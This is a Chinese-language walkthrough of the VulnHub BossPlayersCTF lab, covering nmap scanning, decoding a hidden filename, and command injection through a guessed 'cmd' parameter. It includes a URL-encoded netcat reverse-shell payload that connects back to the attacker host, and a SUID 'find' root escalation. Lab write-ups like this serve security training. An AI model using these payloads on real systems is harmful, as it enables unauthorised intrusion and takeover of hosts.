首页 > 其他分享 >vulnhub-BossPlayersCTF

vulnhub-BossPlayersCTF

时间:2023-07-04 15:01:13浏览次数:42  
标签:vulners cve 2022 BossPlayersCTF vulnhub https CVE com

vulnhub-BossPlayersCTF

目标IP:192.168.1.103
官方难度:简单
攻击机器:macOS + kali 混搭

信息收集

端口扫描

开放端口扫描

nmap -sT -T4 -p- 192.168.1.103

扫描结果

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 23:10 CST
Nmap scan report for 192.168.1.103
Host is up (0.039s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 20.24 seconds

详细扫描

nmap -sV -sC -p22,80 --script=vuln -T4 192.168.1.103

扫描结果

Nmap scan report for 192.168.1.103
Host is up (0.0032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.9p1:
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
|     	EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	5.8	https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	*EXPLOIT*
|     	EDB-ID:46516	5.8	https://vulners.com/exploitdb/EDB-ID:46516	*EXPLOIT*
|     	EDB-ID:46193	5.8	https://vulners.com/exploitdb/EDB-ID:46193	*EXPLOIT*
|     	CVE-2019-6111	5.8	https://vulners.com/cve/CVE-2019-6111
|     	1337DAY-ID-32328	5.8	https://vulners.com/zdt/1337DAY-ID-32328	*EXPLOIT*
|     	1337DAY-ID-32009	5.8	https://vulners.com/zdt/1337DAY-ID-32009	*EXPLOIT*
|     	CVE-2021-41617	4.4	https://vulners.com/cve/CVE-2021-41617
|     	CVE-2019-16905	4.4	https://vulners.com/cve/CVE-2019-16905
|     	CVE-2020-14145	4.3	https://vulners.com/cve/CVE-2020-14145
|     	CVE-2019-6110	4.0	https://vulners.com/cve/CVE-2019-6110
|     	CVE-2019-6109	4.0	https://vulners.com/cve/CVE-2019-6109
|     	CVE-2018-20685	2.6	https://vulners.com/cve/CVE-2018-20685
|_    	PACKETSTORM:151227	0.0	https://vulners.com/packetstorm/PACKETSTORM:151227	*EXPLOIT*
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-enum:
|   /logs.php: Logs
|_  /robots.txt: Robots file
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.38 (Debian)
| vulners:
|   cpe:/a:apache:http_server:2.4.38:
|     	CVE-2019-9517	7.8	https://vulners.com/cve/CVE-2019-9517
|     	PACKETSTORM:171631	7.5	https://vulners.com/packetstorm/PACKETSTORM:171631	*EXPLOIT*
|     	EDB-ID:51193	7.5	https://vulners.com/exploitdb/EDB-ID:51193	*EXPLOIT*
|     	CVE-2023-25690	7.5	https://vulners.com/cve/CVE-2023-25690
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	7.5	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	7.5	https://vulners.com/cve/CVE-2022-22720
|     	CVE-2021-44790	7.5	https://vulners.com/cve/CVE-2021-44790
|     	CVE-2021-39275	7.5	https://vulners.com/cve/CVE-2021-39275
|     	CVE-2021-26691	7.5	https://vulners.com/cve/CVE-2021-26691
|     	CVE-2020-11984	7.5	https://vulners.com/cve/CVE-2020-11984
|     	CNVD-2022-73123	7.5	https://vulners.com/cnvd/CNVD-2022-73123
|     	CNVD-2022-03225	7.5	https://vulners.com/cnvd/CNVD-2022-03225
|     	CNVD-2021-102386	7.5	https://vulners.com/cnvd/CNVD-2021-102386
|     	5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9	7.5	https://vulners.com/githubexploit/5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9	*EXPLOIT*
|     	1337DAY-ID-38427	7.5	https://vulners.com/zdt/1337DAY-ID-38427	*EXPLOIT*
|     	1337DAY-ID-34882	7.5	https://vulners.com/zdt/1337DAY-ID-34882	*EXPLOIT*
|     	EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	7.2	https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB	*EXPLOIT*
|     	EDB-ID:46676	7.2	https://vulners.com/exploitdb/EDB-ID:46676	*EXPLOIT*
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	1337DAY-ID-32502	7.2	https://vulners.com/zdt/1337DAY-ID-32502	*EXPLOIT*
|     	FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	6.8	https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8	*EXPLOIT*
|     	CVE-2021-40438	6.8	https://vulners.com/cve/CVE-2021-40438
|     	CVE-2020-35452	6.8	https://vulners.com/cve/CVE-2020-35452
|     	CNVD-2022-03224	6.8	https://vulners.com/cnvd/CNVD-2022-03224
|     	8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	6.8	https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2	*EXPLOIT*
|     	4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	6.8	https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332	*EXPLOIT*
|     	4373C92A-2755-5538-9C91-0469C995AA9B	6.8	https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B	*EXPLOIT*
|     	0095E929-7573-5E4A-A7FA-F6598A35E8DE	6.8	https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-F6598A35E8DE	*EXPLOIT*
|     	CVE-2022-28615	6.4	https://vulners.com/cve/CVE-2022-28615
|     	CVE-2021-44224	6.4	https://vulners.com/cve/CVE-2021-44224
|     	CVE-2019-10082	6.4	https://vulners.com/cve/CVE-2019-10082
|     	CVE-2019-10097	6.0	https://vulners.com/cve/CVE-2019-10097
|     	CVE-2019-0217	6.0	https://vulners.com/cve/CVE-2019-0217
|     	CVE-2019-0215	6.0	https://vulners.com/cve/CVE-2019-0215
|     	CVE-2022-22721	5.8	https://vulners.com/cve/CVE-2022-22721
|     	CVE-2020-1927	5.8	https://vulners.com/cve/CVE-2020-1927
|     	CVE-2019-10098	5.8	https://vulners.com/cve/CVE-2019-10098
|     	1337DAY-ID-33577	5.8	https://vulners.com/zdt/1337DAY-ID-33577	*EXPLOIT*
|     	CVE-2022-36760	5.1	https://vulners.com/cve/CVE-2022-36760
|     	CVE-2023-27522	5.0	https://vulners.com/cve/CVE-2023-27522
|     	CVE-2022-37436	5.0	https://vulners.com/cve/CVE-2022-37436
|     	CVE-2022-30556	5.0	https://vulners.com/cve/CVE-2022-30556
|     	CVE-2022-29404	5.0	https://vulners.com/cve/CVE-2022-29404
|     	CVE-2022-28614	5.0	https://vulners.com/cve/CVE-2022-28614
|     	CVE-2022-26377	5.0	https://vulners.com/cve/CVE-2022-26377
|     	CVE-2022-22719	5.0	https://vulners.com/cve/CVE-2022-22719
|     	CVE-2021-36160	5.0	https://vulners.com/cve/CVE-2021-36160
|     	CVE-2021-34798	5.0	https://vulners.com/cve/CVE-2021-34798
|     	CVE-2021-33193	5.0	https://vulners.com/cve/CVE-2021-33193
|     	CVE-2021-26690	5.0	https://vulners.com/cve/CVE-2021-26690
|     	CVE-2020-9490	5.0	https://vulners.com/cve/CVE-2020-9490
|     	CVE-2020-1934	5.0	https://vulners.com/cve/CVE-2020-1934
|     	CVE-2019-17567	5.0	https://vulners.com/cve/CVE-2019-17567
|     	CVE-2019-10081	5.0	https://vulners.com/cve/CVE-2019-10081
|     	CVE-2019-0220	5.0	https://vulners.com/cve/CVE-2019-0220
|     	CVE-2019-0196	5.0	https://vulners.com/cve/CVE-2019-0196
|     	CVE-2006-20001	5.0	https://vulners.com/cve/CVE-2006-20001
|     	CNVD-2022-73122	5.0	https://vulners.com/cnvd/CNVD-2022-73122
|     	CNVD-2022-53584	5.0	https://vulners.com/cnvd/CNVD-2022-53584
|     	CNVD-2022-53582	5.0	https://vulners.com/cnvd/CNVD-2022-53582
|     	CNVD-2022-03223	5.0	https://vulners.com/cnvd/CNVD-2022-03223
|     	CVE-2019-0197	4.9	https://vulners.com/cve/CVE-2019-0197
|     	CVE-2020-11993	4.3	https://vulners.com/cve/CVE-2020-11993
|     	CVE-2019-10092	4.3	https://vulners.com/cve/CVE-2019-10092
|     	4013EC74-B3C1-5D95-938A-54197A58586D	4.3	https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D	*EXPLOIT*
|     	1337DAY-ID-35422	4.3	https://vulners.com/zdt/1337DAY-ID-35422	*EXPLOIT*
|     	1337DAY-ID-33575	4.3	https://vulners.com/zdt/1337DAY-ID-33575	*EXPLOIT*
|_    	PACKETSTORM:152441	0.0	https://vulners.com/packetstorm/PACKETSTORM:152441	*EXPLOIT*
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.11 seconds

只发现扫描到了22和80端口,优先考虑从80端口入手

获得系统立足点

访问http://192.168.1.103/ 得到了一个这样的页面
image
查看源代码
image
image
经过多次解码得到一个文件名
然后根据nmap枚举的结果,找到两个文件,依次访问一下
http://192.168.1.103/robots.txt
http://192.168.1.103/logs.php
robots.txt中存在如下信息
image
解码
image
logs.php
image
看不出有什么东西
访问首页源码解码拿到的文件名
http://192.168.1.103/workinginprogress.php
image
页面Outstanding有两个空白的地方,测试ping和修复提权,可能代表没进行
测试ping命令,需要怎么测试呢?思考一下后端会如何去实现,我这里尝试直接网页传看看能否做命令注入
不知道参数,那就随便猜一个,反正是传命令的就试试cmd
还真就收到请求了
image

命令注入获得立足点

既然nc能收到命令注入wget发出来的请求,那么应该可以反弹shell

http://192.168.1.103/workinginprogress.php?cmd=nc%20192.168.1.101%209999%20-e%20/bin/bash

image
接下来就是先拿一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

image

提权

先检索一下系统信息
image
这里就可以看到那个命令注入点代码了
image
发现还存在一个cuong用户,可以尝试先跳到cuong上,但是找了一圈没找到密码
试suid环节的时候,发现有suid可以直接尝试提权

suid find提权

find / -perm -u=s -type f 2>/dev/null

image

find . -exec /bin/bash -p \; -quit

image
image
提权成功,拿到flag

标签:vulners,cve,2022,BossPlayersCTF,vulnhub,https,CVE,com
From: https://www.cnblogs.com/noobsh1nchan/p/17525762.html

相关文章

  • Vulnhub_Zico2_wp
    前言靶机下载地址:https://download.vulnhub.com/zico/zico2.ova主机探测nmap-sn192.168.20.0/24192.168.20.147为靶机ip详细信息扫描nmap-A-p-192.168.20.147点击查看扫描结果┌──(root㉿kali)-[/home/kali/Desktop]└─#nmap-A-p-192.168.20.147Starting......
  • Vulnhub_Acid_wp
    前言靶机下载地址:https://download.vulnhub.com/acid/Acid.rar靶机探测nmap-sn192.168.20.0/24192.168.20.146是新出现得ip所以为靶机ip详细信息扫描nmap-A-p-192.168.20.146漏洞扫描nmapnmap-p33447--script=vuln192.168.20.146niktonikto-h192.168.20.......
  • Vulnhub: EvilBox:One靶机
    kali:192.168.111.111靶机:192.168.111.130信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.130secret目录爆破feroxbuster-k-d1--urlhttp://192.168.111.130/secret/-w/opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-li......
  • vulnhub靶场:EvilBox - One
    下载地址:https://www.vulnhub.com/entry/evilbox-one,736/kali:172.88.6.144靶场:172.88.6.94 nmap-T4-sV-P-A172.88.6.94  用dirbhttp://172.88.6.94和 dirsearch-uhttp://172.88.6.94/ 发现类似的网址  dirbhttp://172.88.6.94/secret/-X.php,......
  • vulnhub靶场:Deathnote
    靶场地址:Deathnote:1~VulnHubKali:172.88.6.144靶场:172.88.6.92arp-scan-l nmap-T4-sV-P-A172.88.6.92  访问web服务时发现会自动跳转到:http://deathnote.vuln/wordpress/页面,但是显示404,想着应该是未配置dns的问题。那就配置下dns信息,win:打开C:\Windows\Syst......
  • vulnhub靶场:doubletrouble
    靶场地址:doubletrouble:1~VulnHubkali:172.88.6.144靶场:172.88.6.89靶场2:172.88.6.91arp-scan-l  nmap-A-sV-T4-p-172.88.6.89 访问ip 使用dirsearch对目标站点进行Web目录爬取dirsearch-uhttp://172.88.6.89/-e*   将图片下载好,放到kali中,自......
  • VulnHub-DC-7渗透流程
    DC-7kali:192.168.157.131靶机:192.168.157.151信息收集nmap-sV-A-p-192.168.157.151虽然有robots.txt等敏感文件泄露但是用处不大,但在网页底部有@dc7user搜索一番,在github找到了他的项目,在config.php内得到了登录用户与密码$username="dc7user";$password="Md......
  • Vulnhub: DarkHole:1靶机
    kali:192.168.111.111靶机:192.168.111.130信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.130访问目标web网站,注册用户注册时尝试注册用户名为admin的用户,发现存在该用户进入用户后台,利用burp抓包越权修改其他用户的密码admin用户密码......
  • VulnHub_DC-6渗透流程
    DC-6kali:192.168.157.131靶机:192.168.157.150修改host文件,添加192.168.157.150wordy不然解析不了域名信息收集发现是WordPress5.1.1,探测一下用户,使用wpscan对其用户进行枚举wpscan--urlhttp://wordy/--enumerateu另存为user.txt扫一下目录找到登录界面访问http......
  • vulnhub靶场:Thales
    靶场地址:泰雷兹:1~VulnHubkali:172.88.6.144靶场:172.88.6.81 nmap172.88.6.0/24 nmap-T4-sV-P -A172.88.6.81 访问http://172.88.6.81:8080/,发现是tomcat页面,登录需要账户,所以使用msf爆破下 msfconsolesearchtomcat  useauxiliary/scanner/http/t......